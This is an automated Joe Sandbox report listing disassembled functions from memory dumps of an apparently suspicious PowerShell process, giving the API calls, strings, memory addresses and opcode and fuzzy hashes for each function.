Function 0000022EFA0CBFC0 Relevance: 6.1, APIs: 4, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction ID: 455e3953f81d315fd51b7d6278bedf121fd673903d536ba3267b7137882d092f
Opcode Fuzzy Hash: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction Fuzzy Hash: 30619C32641640B6EF54CB95FA4D7AA33E0E75CB59F264129DA055FFB1CB3CC842AB80

Function 0000022EF9B22170 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EF9B225F4: strchr.LIBCMT ref: 0000022EF9B2262E
Part of subcall function 0000022EF9B225F4: strchr.LIBCMT ref: 0000022EF9B2264C
Part of subcall function 0000022EF9B225F4: malloc.LIBCMT ref: 0000022EF9B22664
Part of subcall function 0000022EF9B225F4: malloc.LIBCMT ref: 0000022EF9B22671
Part of subcall function 0000022EF9B225F4: rand.LIBCMT ref: 0000022EF9B2273D

strchr.LIBCMT ref: 0000022EF9B221D6
_snprintf.LIBCMT ref: 0000022EF9B2220C

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

_snprintf.LIBCMT ref: 0000022EF9B22223

Strings

not create token: %d, xrefs: 0000022EF9B22205

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: strchr$_snprintfmalloc$_errno_invalid_parameter_noinforand
String ID: not create token: %d
API String ID: 1095232423-2272930512
Opcode ID: 9f33a31cc3dbe4d390e57a8e0463a50ad11e38a52d1dbdd6b3122e58f7288ae2
Instruction ID: 650d9d309a08ee7777a19607750c823d736b95d9c80195e4b8ac57fa9bbac662
Opcode Fuzzy Hash: 9f33a31cc3dbe4d390e57a8e0463a50ad11e38a52d1dbdd6b3122e58f7288ae2
Instruction Fuzzy Hash: 4941D662604E84A1EE269FAED2593E863B0FFA8B84F055511DF8857F11DF34D1B2E344

Function 0000022EFA0C4A04 Relevance: 6.1, APIs: 4, Instructions: 80synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0C4A45

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

htonl.WS2_32 ref: 0000022EFA0C4A5B

Part of subcall function 0000022EFA0C4C44: PeekNamedPipe.KERNEL32 ref: 0000022EFA0C4C7C

WaitForSingleObject.KERNEL32 ref: 0000022EFA0C4AB6
free.LIBCMT ref: 0000022EFA0C4AF2

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$AllocHeapNamedObjectPeekPipeSingleWait_callnewhfreehtonlmalloc
String ID:
API String ID: 2495333179-0
Opcode ID: 92903f8e34bb86019301daba1a442a9bec2b61465fa0227abaf91983d09bc4f7
Instruction ID: 5838c0bf24727e3fec5a0d6529961534a45cdba83ad517dccfd59cf5830ce3fe
Opcode Fuzzy Hash: 92903f8e34bb86019301daba1a442a9bec2b61465fa0227abaf91983d09bc4f7
Instruction Fuzzy Hash: FA318D26600640A5EF64DFA2B68C26963A5FB4CF98F0A4514DE050FFA9DB3DC8C1E744

Function 0000022EFA0CC230 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_time64.LIBCMT ref: 0000022EFA0CC254

Part of subcall function 0000022EFA0D145C: GetSystemTimeAsFileTime.KERNEL32 ref: 0000022EFA0D146A

Part of subcall function 0000022EFA0D044C: _getptd.LIBCMT ref: 0000022EFA0D0454

malloc.LIBCMT ref: 0000022EFA0CC29C
strtok.LIBCMT ref: 0000022EFA0CC300
strtok.LIBCMT ref: 0000022EFA0CC311

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Timestrtok$FileSystem_getptd_time64malloc
String ID:
API String ID: 460628555-0
Opcode ID: 2fe16f1730b9e72f7102dc70ee842add604a2edc5f5efba699c173ab423aa684
Instruction ID: 8e4a1da06794bf1de9a0996a5944b2785c77b94142dfb9208234b57dc05d4f66
Opcode Fuzzy Hash: 2fe16f1730b9e72f7102dc70ee842add604a2edc5f5efba699c173ab423aa684
Instruction Fuzzy Hash: EF2191B6600B94A2EF00CFD1F28865977A8F748B94F164255EE5A4BFA1DE38C4419740

Function 0000022EF9B104D0 Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 0000022EF9B10517
clock.LIBCMT ref: 0000022EF9B10524
clock.LIBCMT ref: 0000022EF9B1052D
clock.LIBCMT ref: 0000022EF9B1053A

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction ID: fd9c4c22eb0981f060e3e968f0bdb28e33bf87b6dd6ee0843eeabaec687d79c6
Opcode Fuzzy Hash: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction Fuzzy Hash: 59113622200785B5FB71DEE666E462BB690BBA4794F1B0021EEC443A41EA30C8C59F08

Function 0000022EF9B3E9D8 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EF9B3E9FC

Part of subcall function 0000022EF9B30A00: _getptd.LIBCMT ref: 0000022EF9B30A16
Part of subcall function 0000022EF9B30A00: __updatetlocinfo.LIBCMT ref: 0000022EF9B30A4B
Part of subcall function 0000022EF9B30A00: __updatetmbcinfo.LIBCMT ref: 0000022EF9B30A72

_errno.LIBCMT ref: 0000022EF9B3EA08

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B3EA13
strchr.LIBCMT ref: 0000022EF9B3EA29

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 89153f5c64fab27db57a2af5758249aa045b2e8adbb4ff24b9161b74b74b034e
Instruction ID: b0c296d30841a032d0cd8526e155cd184a4332c4d8563f9ecd0b839f38861c0f
Opcode Fuzzy Hash: 89153f5c64fab27db57a2af5758249aa045b2e8adbb4ff24b9161b74b74b034e
Instruction Fuzzy Hash: 1B212B523181A872FF72D6919278B7D66D0F360BD5F1E5122E6D707EC5CA2CC541E704

Function 0000022EFA0DF5D8 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EFA0DF5FC

Part of subcall function 0000022EFA0D1600: _getptd.LIBCMT ref: 0000022EFA0D1616
Part of subcall function 0000022EFA0D1600: __updatetlocinfo.LIBCMT ref: 0000022EFA0D164B
Part of subcall function 0000022EFA0D1600: __updatetmbcinfo.LIBCMT ref: 0000022EFA0D1672

_errno.LIBCMT ref: 0000022EFA0DF608

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0DF613
strchr.LIBCMT ref: 0000022EFA0DF629

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 981429a1da204f704ed88d261ee2d43387d2cfac4902a0026a6358d448239ec3
Instruction ID: 8533cffe12fbf95590c34e5b25f1008a51740afa720ada8913a700472f7f0759
Opcode Fuzzy Hash: 981429a1da204f704ed88d261ee2d43387d2cfac4902a0026a6358d448239ec3
Instruction Fuzzy Hash: 0221D5636042A061EF605F91B25833D66D0E74CBD8F1EC129AA964FFF5CE6CC541A720

Function 0000022EFA0B10D0 Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 0000022EFA0B1117
clock.LIBCMT ref: 0000022EFA0B1124
clock.LIBCMT ref: 0000022EFA0B112D
clock.LIBCMT ref: 0000022EFA0B113A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction ID: 3b3f3c4d8ea017e1780e07cc20d37dc7781a34f354c83ac325aeae6d01262311
Opcode Fuzzy Hash: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction Fuzzy Hash: 1C11232210074465EBB09EE27B5462BB690BB8C3D8F1B1431EE549BF75E978C8829700

Function 0000022EFA0CEF5C Relevance: 6.0, APIs: 4, Instructions: 39networkCOMMON

Download Yara Rule

APIs

accept.WS2_32 ref: 0000022EFA0CEF71
send.WS2_32 ref: 0000022EFA0CEFAF
send.WS2_32 ref: 0000022EFA0CEFC3
closesocket.WS2_32 ref: 0000022EFA0CEFD4

Part of subcall function 0000022EFA0CF098: closesocket.WS2_32 ref: 0000022EFA0CF0A4
Part of subcall function 0000022EFA0CF098: free.LIBCMT ref: 0000022EFA0CF0AE
Part of subcall function 0000022EFA0CF098: free.LIBCMT ref: 0000022EFA0CF0B7
Part of subcall function 0000022EFA0CF098: free.LIBCMT ref: 0000022EFA0CF0C0

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$closesocketsend$accept
String ID:
API String ID: 47150829-0
Opcode ID: caadc6cbf8b8aa9901aecb44ddbc265dbb6e74dc9ec5a2b89a727a9022558361
Instruction ID: 60084b4c31e5ad72dcf6c29c91dec248483ef9138c906e8b35dd12aaf82c427a
Opcode Fuzzy Hash: caadc6cbf8b8aa9901aecb44ddbc265dbb6e74dc9ec5a2b89a727a9022558361
Instruction Fuzzy Hash: 3B01B525700A4191EF549BB2FBA97292361E74DFF4F169211DE160BFA5CE3CC481AB40

Function 0000022EFA0C53EC Relevance: 6.0, APIs: 4, Instructions: 34sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C5400
PeekNamedPipe.KERNEL32 ref: 0000022EFA0C5425
Sleep.KERNEL32 ref: 0000022EFA0C543B
GetTickCount.KERNEL32 ref: 0000022EFA0C5441

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 210e21c30d6d06447862c16b29a5b20d0c0fb279467bc43041b9c33569e9406a
Instruction ID: 6c1b3d0a38791a7e4398d6d3df7a2473ca1a45ea165954236b94c028ad678beb
Opcode Fuzzy Hash: 210e21c30d6d06447862c16b29a5b20d0c0fb279467bc43041b9c33569e9406a
Instruction Fuzzy Hash: 3E01F931254A51E2FF2087A5F94830AA3A5F78C785F664024DB484AFB4DF3CC481A705

Function 0000022EFA0C48D8 Relevance: 6.0, APIs: 4, Instructions: 32sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C48F1
PeekNamedPipe.KERNEL32 ref: 0000022EFA0C4916
Sleep.KERNEL32 ref: 0000022EFA0C492C
GetTickCount.KERNEL32 ref: 0000022EFA0C4932

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: aac62254f3a365505a6a564a1f05aa253f383d98e2b7473c1e2f14b721fad9df
Instruction ID: 2a332c145e38857ca8ab3558dafbff62a9569a15230861fb2fdd3e3f7b157a26
Opcode Fuzzy Hash: aac62254f3a365505a6a564a1f05aa253f383d98e2b7473c1e2f14b721fad9df
Instruction Fuzzy Hash: BA01F432614A51A3FF208B94F98C31AB7A0F78DB84F264124DB850AF74DF3DC885AB04

Function 0000022EFA0CF098 Relevance: 6.0, APIs: 4, Instructions: 15COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 0000022EFA0CF0A4
free.LIBCMT ref: 0000022EFA0CF0AE

Part of subcall function 0000022EFA0CF244: HeapFree.KERNEL32 ref: 0000022EFA0CF25A
Part of subcall function 0000022EFA0CF244: _errno.LIBCMT ref: 0000022EFA0CF264
Part of subcall function 0000022EFA0CF244: GetLastError.KERNEL32 ref: 0000022EFA0CF26C

free.LIBCMT ref: 0000022EFA0CF0B7
free.LIBCMT ref: 0000022EFA0CF0C0

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errnoclosesocket
String ID:
API String ID: 1525665891-0
Opcode ID: 514671407b84a75ab4a957943dd5047acaa779434bbb8d29509bbfd64e64c7a5
Instruction ID: 4fa8c5f3177b9651157d5b152fb603a92cfb11bd240b64e121b028540bf6a9f5
Opcode Fuzzy Hash: 514671407b84a75ab4a957943dd5047acaa779434bbb8d29509bbfd64e64c7a5
Instruction Fuzzy Hash: D5E0172661064491EF14EBF2EAAA16C1720E78CF84F1600219E0E4FFB2DD6CC891E315

Function 0000022EF9B2EC60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B2ECB1

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2ECBC

Strings

B, xrefs: 0000022EF9B2ECE8

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: 60c63a2ab9f2c694e46ab874add7d0a6eb48e0963f6941f66a4f1d1620c6c169
Instruction ID: 89d9bdfb164cf206a4fc4dbbb4063fe3725b266b5942c6cc5c2d5c8ccad90489
Opcode Fuzzy Hash: 60c63a2ab9f2c694e46ab874add7d0a6eb48e0963f6941f66a4f1d1620c6c169
Instruction Fuzzy Hash: 381121B2310A4082EB21DB82D55839DB364F7A8FE0F594324EF9807B95CF38C140CB04

Function 0000022EFA0CF860 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0CF8B1

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF8BC

Strings

B, xrefs: 0000022EFA0CF8E8

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: c02d2d703cad3fde31994e70e132d1470a84cf0b2fdde3fa0011d2dc5e3ae6ea
Instruction ID: 193183a288c2d08820c55988fd9ae50ad964f3534d2b4183a044184fd1f0c95a
Opcode Fuzzy Hash: c02d2d703cad3fde31994e70e132d1470a84cf0b2fdde3fa0011d2dc5e3ae6ea
Instruction Fuzzy Hash: 09118E72610B4096EB109F92E548399B660FB9CFE4FA54321AB580BFA9CF3CC245CB10

Function 0000022EF9B110C4 Relevance: 5.3, APIs: 4, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.LIBCMT ref: 0000022EF9B1116A

Part of subcall function 0000022EF9B3E208: _calloc_impl.LIBCMT ref: 0000022EF9B3E218
Part of subcall function 0000022EF9B3E208: _errno.LIBCMT ref: 0000022EF9B3E22B
Part of subcall function 0000022EF9B3E208: _errno.LIBCMT ref: 0000022EF9B3E235

free.LIBCMT ref: 0000022EF9B112F3
free.LIBCMT ref: 0000022EF9B112FD
free.LIBCMT ref: 0000022EF9B1130F

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_calloc_implcalloc
String ID:
API String ID: 4000150058-0
Opcode ID: 1990de878bdb2b18b214190b8058df6cf8cdb58ae8a7ad838a221dc59059176c
Instruction ID: ee8c7e72a26c50cbf42111559f05c7132089375dda31e8beb0561d72ac1d93d4
Opcode Fuzzy Hash: 1990de878bdb2b18b214190b8058df6cf8cdb58ae8a7ad838a221dc59059176c
Instruction Fuzzy Hash: AFC11B32604B849AEB74CF95E99439E77A4F398B84F11412AEBCD83F58DB38C455DB04

Function 0000022EFA0B1CC4 Relevance: 5.3, APIs: 4, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.LIBCMT ref: 0000022EFA0B1D6A

Part of subcall function 0000022EFA0DEE08: _calloc_impl.LIBCMT ref: 0000022EFA0DEE18
Part of subcall function 0000022EFA0DEE08: _errno.LIBCMT ref: 0000022EFA0DEE2B
Part of subcall function 0000022EFA0DEE08: _errno.LIBCMT ref: 0000022EFA0DEE35

free.LIBCMT ref: 0000022EFA0B1EF3
free.LIBCMT ref: 0000022EFA0B1EFD
free.LIBCMT ref: 0000022EFA0B1F0F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_calloc_implcalloc
String ID:
API String ID: 4000150058-0
Opcode ID: 098b9973f943fd418b7180529354ef0ede5274538db457ffc537a6b083c63ad8
Instruction ID: 7825ba1b124b43eae1cad69ebc6b7316006818b36ceb642d9e1aedd9a16bcc95
Opcode Fuzzy Hash: 098b9973f943fd418b7180529354ef0ede5274538db457ffc537a6b083c63ad8
Instruction Fuzzy Hash: D9C10A32604B849AEB60CFA5F59439E77A4F78C788F11412AEB8D87F68DB38C555DB00

Function 0000022EF9B2A144 Relevance: 5.2, APIs: 4, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B2A178

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

free.LIBCMT ref: 0000022EF9B2A2BF
free.LIBCMT ref: 0000022EF9B2A323
free.LIBCMT ref: 0000022EF9B2A32F

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 4bbd7cf35d3a9611d3bfe0cac302482741ce3a5729489c26a54f39a05b56b302
Instruction ID: 0403b11d21a059522ad573653460cfe9ef32f19ccc8328f67706363cfb976396
Opcode Fuzzy Hash: 4bbd7cf35d3a9611d3bfe0cac302482741ce3a5729489c26a54f39a05b56b302
Instruction Fuzzy Hash: 7A510521300245B1FF7AABA297783AD6391F7A0BD0F5645259ACA1BFC6DF79C401E708

Function 0000022EFA0CAD44 Relevance: 5.2, APIs: 4, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0CAD78

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
